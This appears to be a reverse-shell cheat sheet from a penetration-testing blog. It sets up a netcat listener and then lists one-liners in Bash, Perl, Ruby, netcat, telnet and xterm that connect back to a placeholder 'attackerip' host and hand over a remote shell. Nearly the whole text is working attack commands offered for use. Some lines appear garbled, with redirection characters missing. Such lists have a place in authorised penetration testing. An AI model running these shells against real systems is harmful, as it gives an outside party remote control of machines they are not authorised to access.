First of all, on your machine, set up a listener, where attackerip is your IP address and 4444 is an arbitrary TCP port unfiltered by the target's firewall:
attacker$ nc -l -v attackerip 4444
Bash
Alternatives for Bash shell:
exec /bin/bash 0&0 2>&0
Or:
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
Or:
exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done

See also Reverse Shell With Bash from GNUCITIZEN blog.

Perl
Shorter Perl reverse shell that does not depend on /bin/sh:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

If the target system is running Windows use the following one-liner:
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

Longer Ruby reverse shell that does not depend on /bin/sh:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

If the target system is running Windows use the following one-liner:
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Netcat

Others possible Netcat reverse shells, depending on the Netcat version and compilation flags:

nc -c /bin/sh attackerip 4444
Or:
/bin/sh | nc attackerip 4444
Or:
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p
See also 7 Linux Shells Using Built-in Tools from LaNMaSteR53 blog.

Telnet

Of course, you can also use Telnet as an alternative for Netcat:

rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p
Or:
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445 # Remember to listen on your machine also on port 4445/tcp
xterm

Follows further details on xterm reverse shell:

To catch incoming xterm, start an open X Server on your system (:1 - which listens on TCP port 6001). One way to do this is with Xnest:
Xnest :1

Then remember to authorise on your system the target IP to connect to you:
xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest
xhost +targetip # Run this INSIDE the spawned xterm on the open X Server

Then on the target, assuming that xterm is installed, connect back to the open X Server on your system:
xterm -display attackerip:1
Or:
$ DISPLAY=attackerip:0 xterm

It will try to connect back to you, attackerip, on TCP port 6001.

Note that on Solaris xterm path is usually not within the PATH environment variable, you need to specify its filepath:
/usr/openwin/bin/xterm -display attackerip:1